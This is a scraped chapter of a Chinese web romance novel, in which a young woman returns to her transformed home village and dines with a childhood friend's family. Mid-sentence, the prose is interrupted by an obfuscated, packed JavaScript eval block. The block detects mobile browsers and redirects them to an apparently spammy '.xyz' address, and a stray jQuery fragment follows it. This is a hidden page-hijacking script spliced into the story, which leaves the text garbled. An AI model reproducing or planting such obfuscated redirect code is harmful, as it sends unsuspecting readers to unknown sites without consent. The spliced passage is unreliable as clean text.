7. 关于庄稼
作品:《“金丝雀”失忆后带崽跑路了》 乔辞竹始终记得,前几个月父母好不容易休假,回到乡下探亲,她连着乐了几天,甚至做梦都能笑醒。
他们会整日陪伴在她身边,坐在田坎上聊天,教她一些关于庄稼的知识,她支着脑袋听得专注,纯净眸子里满是崇拜。
在她眼里,父母是最为博学的人。
可惜好景不长,他们突然接到紧急任务,需要立刻归队。
她站在村子门口,小心翼翼地拽住父母衣袖,噙着泪不舍得同他们分开。
父亲临走前,大手搭在她的肩膀上,指着广阔田地,温柔告诉她:“乔乔,当你会分辨麦子和野草的时候,我们就回来了。”
现在,她已经成功做到这点,他们也定会遵守诺言,平安归来。
小小的乔辞竹对此坚信不疑。
男生狐疑扭头,视线落在田里作物上,却没有看出任何不同。
小麦和野草有什么区别,繁华城市里来的小少爷当然不知道,他只知道,自己可能凶错人了。
于是他心虚抿唇,默默听面前的女孩滔滔不绝讲解。
乔辞竹摇头晃脑,洋洋洒洒说完小麦和野草的区别,却对上一双严肃而茫然的眼睛,顿时泄气:“哎呀,反正你也听不懂。”
这人真是无趣,她没了除草的劲头,拍干净手上的泥土站起来。
“你要去哪?”小少爷叫她。
“回家。”她笑眯眯回答,脱离伞的保护范围,像一只轻快的花蝴蝶,飞进低矮院墙后消失不见,仿佛再多的雨水也打不湿她的翅膀。
后来,乔辞竹才明白,像沈锡这样的大少爷,生来养尊处优,不识人间疾苦,她所了解的一切庄稼知识,都是他所不需要的。
他们阴差阳错相伴成长,被迫产生更多的纠葛,恨也好爱也罢,都像那场淋漓不尽的雨,在年少岁月里倾洒而下。
只不过,沈锡是茁壮生长的小麦,而她,只是田垄里侥幸分享甘霖的的野草,躬身弯腰,提心吊胆地等待春天。
冰凉雨滴滚落而下,乔辞竹回过神,顺着挨挨挤挤的人流向外走,在出站口买了一把透明雨伞。
她掂在手上,垂眸看了许久,才撑开伞,拉着行李箱大步踏入湿润雨幕。
山城交通路况复杂,乔辞竹转了几班车,从城内晃到城外,摇得头晕脑胀才到达乔家村。
她从客车上艰难下来,皱眉挥手,散去鼻间萦绕的复杂气味,抬头看向面前村庄。
现如今,乔家村焕然一新,逐渐产生向小镇发展的趋势,年轻人也多了起来。
她循着记忆里的道路摸索过去,待看清自家宅基地时,震惊地瞪大双眼,上下打量。
面前这个三层高的精致小洋楼究竟是谁家?
她脑海中冒出无数猜测,好的坏的都有,拖着行李箱在院门外徘徊,近乡情更怯,半天不敢进去。
正贴在铁艺门上,透过缝隙狗狗祟祟向里张望,背后传来一道流氓哨声:“哟,谁家漂亮姑娘搁这儿偷窥呢?”
吓得乔辞竹险些原地跳起来。
她怒目回头,想看看究竟是谁在捉弄人,率先映入眼帘的是火红发色,像一团嚣张冷焰。
来人身穿铆钉皮衣,单边耳钉熠熠生辉,吊儿郎当低头点烟,云销雨霁,那一点星火恰好融入身后晚霞,忽明忽暗。
“你是谁?”距离有些远,乔辞竹看不清他的面容,皱眉询问。
熟悉声音传入耳,男人愣怔片刻,倏然一惊站直身子,唇瓣张合两下,声若蚊蚋:“乔姐姐?”
听见这个久违称呼,她紧张的心顿时放松下来,露出礼貌笑容:“……原来是你啊,陈澈。”
陈澈直勾勾盯着她,控制不住上前两步,又慌张回身,用左手生生掐灭烟头,将半截烟揣进裤兜。
做完这一切,他才缓过气,小心翼翼伸出右手,眸光璀璨:“乔姐姐,好久不见。”
乔辞竹大方同他握手,看着眼前这个便宜弟弟,一时乐不可支:“多少年过去了,你还记着这个称呼呢?别叫姐姐了,叫我乔辞竹就行。”
陈澈呆站原地,掌心仿佛落下一片柔云,轻飘飘被风吹走,心里也空落落的。
他选择退而求其次,固执道:“那我叫你乔姐总行吧?”
乔辞竹推辞不过,只好无奈应声。
陈澈瞥了眼院子,空无一人:“你是回来看乔奶奶的吗?她去隔壁村打牌去了,与其干站着等,不如先来我家坐坐,我妈在家炒腊肉呢。”
乔辞竹一路舟车劳顿,双腿早已疲乏,又听见“炒腊肉”三个字,口中不由自主分泌唾液。
她咽咽口水,还是选择婉拒:“不了,我坐门槛边休息一会儿就行。”
话音刚落,她的肚子突然响起“咕咕”声。
乔辞竹尴尬咳嗽,望天望地,假装什么也没有发生。
陈澈见状,扑哧一声笑得猖狂,换来一道怒视。
他自来熟抢过她的行李:“走吧走吧,乔姐,别不好意思,就当报答你小时候借我抄作业的恩情了。”
“你还好意思提,抄作业都不知道动动脑子,连我的错别字一起抄走,害得咱俩一块被李老头撵到教室外面罚站。”乔辞竹想起这茬,忍俊不禁。
两人有说有笑,不一会儿便熟络起来,走过一段水泥路就到了陈家院子。
乔辞竹看着面前景色,游亭池塘相得益彰。
她拍拍他的肩,赞叹道:“阔气啊,家里什么时候开起农家乐了?”
“前几年,”陈澈解释道,“你忘记了吗?沈氏集团过来投资旅游业,在附近开发了几个自然景区,乘上这股春风,村里人都富起来了。”
听见这个熟悉的名字,乔辞竹脚步微顿,莫名感觉背后一凉,悄然缩回搭在幼时玩伴肩头的手。
她悄悄向身后看了一眼,确认空无一人,才放下心来,又忍不住笑话自己疑神疑鬼,沈锡如今正在A市出差谈合作,哪里顾得上她这个小小的金丝雀。
路过游亭,再往后走,一位中年妇女快步迎上来,抬手就要揪陈澈耳朵:“死小子,跑哪里躲闲去了?一天到晚不务正业……”
“妈!”他及时歪身躲开攻击,尴尬低喊,“我带乔姐来坐坐,你就少说两句吧,给我留点面子。”
陈母这时才看见儿子身旁站着一个女人,赶忙撤回手,在围裙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626999|172419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上蹭两下,热情招呼:“哎呀,是小乔回来了,来,进来坐,给你们安排个临水的包厢。”
乔辞竹推辞不过,被陈母拥进包厢就座。
落地窗外就是曲水池塘,倒映着天边夕阳,锦鲤悠然跃金,别有一番意趣。
农家乐的菜肴主打现杀现做,需要耐心等待,于是三人围在桌前闲聊。
“小乔这次回来待多久?”陈母将果盘推向她,好奇问,“你们明星一般挺忙的吧。”
乔辞竹捏起一把瓜子,如实回答:“在村里待一周陪陪奶奶,然后要去隔壁村录综艺。”
陈母似懂非懂,捕捉到关键词,拽着自家儿子衣角推荐:“既然要在附近拍综艺,那需不需要摄像师啊,这小子摄影专业毕业以后,全国到处跑,搞什么……巡回摄影。”
“妈,那叫旅拍。”陈澈插话,纠正道。
“哎对,旅拍,他看着没个正形,其实拍摄技术还是不错的,剪辑也会,你看看他发在网上的视频。”陈母拿出手机给乔辞竹翻看陈澈以前的作品。
“就是在外面折腾半天,没见他赚到什么钱,反而搞了一头花里胡哨的红毛回来,现在躺在村里游手好闲,连对象都找不到,我看见他就烦。”
她嫌弃地撇撇嘴,向乔辞竹投去期待目光:“你看能不能帮忙引荐一下,有份像样工作,也方便相亲嘛。”
虽然陈澈很想和乔辞竹多多相处,但他没想到老妈能为了一份工作求到她面前,顿时有些傻眼。
他烦躁挠头,自暴自弃:“你别为难乔姐,综艺摄像组都有固定人员,哪里需要我。”
“过段日子我再出去接点婚纱摄影,怎么都能过下去,你别操心这些了。”
乔辞竹拿着陈母的手机,一一看过陈澈往日作品,不得不承认他确实有几把刷子,拍摄构图和谐,视频丝滑节奏灵动,BGM搭配得当,可以去某站投稿当百万剪辑手的程度。
她不由得起了几分惜才心思,但毕竟自己只是小小顾问助理,不敢打包票。
于是她斟酌言辞:“这样吧,我帮你问问导演,如果摄像组缺人手的话,我推荐你去试试。”
陈母大喜,一迭声道:“好好好,那就拜托小乔了。”
说罢,还不忘一巴掌拍在陈澈背上:“愣着干嘛,还不赶紧谢谢你乔姐。”
“嘶。”
陈澈小声吸气,没想到穿一身铆钉皮衣都挡不住母亲突如其来的攻击,只好乖顺道:“谢谢乔姐。”
乔辞竹慌忙摆手:“还没办成呢,先别谢我。”
说话间,菜肴端上桌,陈母心情舒畅,热忱招呼道:“乔乔一路赶回来,肯定饿了吧,来,多吃点,不够还有!”
乔辞竹放眼望去,现杀的土鸡焖洋芋酥软多汁,入口即化,清蒸鱼肉质鲜嫩,小炒腊肉油润飘香,样样色香味俱全。
三人边吃边聊起村里近况,陈母感慨道:“多亏了沈氏集团帮扶,在村子东边建起一所医院,你奶奶看病的时候都不用上城里,之前哪有这个条件,嗨,卫生所将就一下得了。”
乔辞竹心里咯噔一下,一块米饭从筷上滚落回碗里,隐隐生起不好的预感。